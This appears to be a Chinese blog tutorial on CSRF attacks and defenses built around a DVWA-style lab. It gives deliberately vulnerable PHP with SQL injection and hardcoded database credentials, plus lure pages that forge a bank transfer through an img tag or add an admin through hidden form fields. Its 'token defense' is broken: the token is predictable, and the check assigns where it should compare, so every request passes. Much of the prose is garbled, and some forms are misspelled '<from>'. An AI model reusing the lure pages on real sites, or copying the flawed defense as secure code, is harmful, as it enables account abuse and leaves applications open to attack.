csrf攻击与防御
1.csrf原理介绍
1.csrf定义
CSRF(Cross-Site Request Forgery (CSRF),一种针对已登录用户的Web应用程序实施非法操作的技术)也可称为One-Click Attack或Session Riding(SSR),通常简称为CSRF或XSRF。
2.csrf原理
通过目标用户的合法身份,在其名义下从事非法活动。
CSRF能够通过用户账户发送邮件,并窃取用户信息及财产等敏感内容。
例如,在一个简单的转账案例中:
初始化链接: pay.php?user=xx&money=100 //正常用户转帐
构造恶意链接:
pay.php?user=hack&money=10000 //攻击者
3.csrf漏洞代码
<?php
//会话验证(确保用户已经登录)
$user = $_GET[“user”];
$money = $_GET[“money”];
//转账操作(开始转账)
?>
由此可以得出CSRF成功利用条件:
1、用户已经登陆系统
2、用户访问对应URL
CSRF漏洞利用
以DVWA CSRF中的high级别为例。

该攻击测试存在不足之处:由于我们已知密码信息,并可以直接进入目标服务器后台。因此建议部署多台虚拟机作为试验环境;这类情况通常发生在攻击者面对存在漏洞的网站时;而物理服务器则可视为被入侵的目标机器;我们需要了解如何通过欺骗手段让用户提供访问URL权限;但若采用高级渗透工具,则需确保操作步骤包含二次验证机制;为了高效获取目标网站的凭据信息,则建议首先使用Burf Suite代理加速工具进行抓取
2.无防护的CSRF漏洞利用
1.GET型CSRF代码
<?php
header("Content_Type:text/html;charset=utf-8");
$username = $_GET['username'];
$password = $_GET['password'];
$conn = mysql_connect("localhost","root","123456");
$db=mysql_select_db("csrf_test");
$query =mysql_query("SET NAMES 'gbk'");
$sql="INSERT INTO `adminsql` (`username` ,`password`)VALUES ('$username' , '$password')";
$row=mysql_query($sql);
$sql="SELECT * FROM adminsql";
if ($row=mysql_query($sql))
{
while ($rows = mysql_fetch_array($row) )
{
echo "user:{$rows['username']}-----pass:{$rows['password']}"."<br/>";
}
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<title>CSRF利用场所</title>
<meta name="description" content="">
<meta name="keywords" content="">
<link href="" rel="stylesheet">
</head>
<body>
<b><h2>CSRF GET型</h2></b>
<p>需要GET提交 username password</p>
</body>
</html>
2.GET型CSRF利用
生成带有GET请求的URL地址,并在该URL中添加username和password字段以方便创建相应的用户名与密码记录。

(2)GET 型CSRF漏洞利用方法
- 链接利用
- img标签利用
- iframe利用
- CSS - backgroud利用
例如:攻击者隐蔽利用一些诱惑性信息以img标签 src属性来吸引用点入,从而造成csrf攻击 :
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<title>中奖了</title>
<meta name="description" content="">
<meta name="keywords" content="">
<link href="" rel="stylesheet">
</head>
<body>
<h1>您好!您中大奖了</h1>
<img src="http://www.xxbank.com/pay.jsp?user=hack&money=100000/" >
</body>
</html>
3.POST型CSRF代码
<?php
header("Content_Type:text/html;charset=utf-8");
if(isset($_POST['sub']))
{
$username = $_POST['username'];
$password = $_POST['password'];
$conn = mysql_connect("localhost","root","123456");
$db=mysql_select_db("csrf_test");
$query =mysql_query("SET NAMES 'gbk'");
$sql="INSERT INTO `adminsql` (`username` ,`password`)VALUES ('$username' , '$password')";
$row=mysql_query($sql);
$sql="SELECT * FROM adminsql";
if ($row=mysql_query($sql))
{
while ($rows=mysql_fetch_array($row) )
{
echo "user:{$rows['username']}-----pass:{$rows['password']}"."<br/>";
}
}
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<title>CSRF利用场所</title>
<meta name="description" content="">
<meta name="keywords" content="">
<link href="" rel="stylesheet">
</head>
<body>
<b><h2>CSRF测试环境</h2></b>
<from action="" method="post">
<b>user:<input type="text" name="username" /></b>
<b>pass:<input type="password" name="password" /></b>
<input type="submit" value="OK" name="sub" />
</from>
</body>
</html>
4.POST型CSRF利用
(1)设置表单用于提交。例如:

(2)创建一个诱惑性链接来进行在用户不知情的情况下添加管理员。
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<title>中奖了</title>
<meta name="description" content="">
<meta name="keywords" content="">
<link href="" rel="stylesheet">
</head>
<body>
<from action="" method="post">
<b>user:<input type="hidden" name="username" value="admin_test" /></b>
<b>pass:<input type="hidden" name="password" value="admin_test" /></b>
<input type="hidden" value="OK" name="sub" />
<input type="submit" value="我要中奖" name="test" />
</from>
</body>
</html>
3.CSRF漏洞探测
1.手动探测原理
手动探测原理在于通过分析Web应用程序来识别防止CSRF攻击的机制。其原理在于若Web应用程序的相关HTTP请求中未实施相应的防护机制,则可推断该系统很可能存在潜在的CSRF漏洞。 CSRF攻击通常只能通过合法用户操作来发起(如模仿真实用户的行为)。在进行安全检测之前,我们首先要全面评估Web应用程序的功能模块,并确定哪些功能行为具有较高的风险。例如,在处理敏感信息时需要格外谨慎地监控这些关键路径的操作。具体而言,在测试阶段我们需要删除用户操作URL:Http://127.0.0.1/deluser.action?id=1并观察后续响应情况。
2.自动化探测工具
(1)自动化探测工具介绍
CSRFTester是一款专门用于检测CSRF漏洞的工具软件。其基本工作原理是通过模拟浏览器代理抓取用户浏览历史记录以及表单信息等关键数据,在CSRFTester中相应地修改这些信息后重新提交请求进行检测;如果检测到请求被服务器端成功接收,则表明系统存在潜在的安全漏洞;该工具不仅能够识别漏洞的存在还可以指导攻击者进行有效的CSRF攻击操作。
下载地址:https://www.owasp.org/index.php/File:CSRFTester-1.0.zip
(2)自动化探测工具使用
首先请配置浏览器代理设置;然后访问目标Web应用程序并完成身份验证流程;接着输入并提交表单数据并在CSRF防护机制中对相应字段进行修改;如果修改后的表单仍能被服务器正常处理则说明存在 CSRF 漏洞;最后根据检测结果生成具体的 PoC 代码作为攻击样本使用


如果有朋友不愿意使用CSRFTester,不妨尝试使用Burp Suite Proxy作为替代方案
3.token防御介绍
1.漏洞修补逻辑分析
CSRF漏洞的本质在于服务器无法正确识别用户的合法自定义操作请求。
当服务器在用户登录后提供一个独一无二的有效令牌时,在每次操作过程中都会对令牌进行验证:若验证成功则执行操作;若验证失败则直接跳过该操作。
通常情况下,这个有效令牌会被嵌入表单中的某个隐藏域的value属性中,并随着表单内容一并提交。
如果远程攻击者利用了一个构造性 CSRF 利用例(POC),那么直接攻击就会成功。
然而,在增删改等操作中设置唯一的有效令牌,并仅允许提交成功token的情况下,则能够有效防止 CSRF攻击:只有当提交正确的token时才会执行相应操作;否则系统会跳出提示页面。
生成Token代码时需要注意以下几点:
首先,在生成Token时应设计为高度复杂且难以破解的形式;
其次,在每次请求处理过程中都要严格验证token的有效性;
最后,在token验证失败的情况下不仅要阻止操作执行,
还要向客户端返回友好的错误提示信息以提升用户体验。
<?php
function new_user()
{
// $salt ="hello".date("Y/m/d");年月日时间间隔太久,容易造成漏洞
$salt ="12345wthsbhyds".date("h:i:s");
$token =md5($salt);
return $token;
}
$token =new_user();
echo $token;
?>
使用CSRF防护机制中的Token技术进行安全防护
- 在用户完成登录验证后,在会话SESSION[“user_token”]字段中存储该唯一标识符(Token)。
- 在后台操作界面中,在增删改表单中新增一个隐藏域 named hidden,并将其值设置为获取到的User Token值。
- 用户提交表单后立即进行获取到的Cookie中的User Token与存储在SESSION[“user_token”]中的值进行比对确认其有效性。
- 简化代码演示:完成上述步骤后进行User Token验证流程。
<?php
function new_user()
{
//salt ="hello".date("Y/m/d");
$salt ="12345wthsbhyds".date("h:i:s");
$token =md5($salt);
return $token;
}
$token =new_user();
#echo $token;
$_SESSION["user_token"] = $token;
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<title>CSRF_TOKEN</title>
<meta name="description" content="">
<meta name="keywords" content="">
<link href="" rel="stylesheet">
</head>
<body>
<h1>CSRF_TOKEN</h1>
<form action="check.php" method="post">
<input type="text" value="我提交了">
<input type="hidden" name="user_token" value ="<?php echo $token; ?>">
<input type="submit" name="submit" value="提交" >
</form>
</body>
</html>
<?php
error_reporting(E_ALL ^ E_NOTICE);
session_start();
$user_token = $_POST["user_token"];
if($_SESSION["user_token"] = $user_token ){
echo "successful";
}
else{
echo "fail";
}
?>
4.csrf绕过Referer技巧
1.Referer防御CSRF原理
HTTP Referer字段是header的一部分,在浏览器向web服务器发送请求时会被传递出去。它告知服务器我是来自哪个页面的链接。这些信息有助于服务器了解请求来源,并据此进行后续处理。在提交的HTTP请求中包含了对应的Referer值。当服务端接收到这些请求时会检查Referer值是否与当前运行环境的相关信息存在关联关系。如果两者无关,则会跳过相应的操作步骤。在PHP编程语言中,可以通过$_SERVER[‘HTTP_REFERER’]获取页面提交请求中的Referer字段。
这是一个简要框架。
关于规避Referer技巧,
这个过程需要使用kali和Burp Suite Proxy,
而Burp Suite Proxy的功能不少,
如果有兴趣的朋友可以学习。
由于我对这方面掌握得不够熟练,
所以就不必多费周章了。
如果实在不太懂,
可以通过B站查找相关教学视频来学习。
这些内容是我最近在学习web攻防训练营的视频资源,并参考了张炳帅的《web安全深度剖析》这本书籍来撰写自己的实际操作流程和一些思考记录。如果有任何遗漏或者不够完善的地方,请各位大神多多指正!
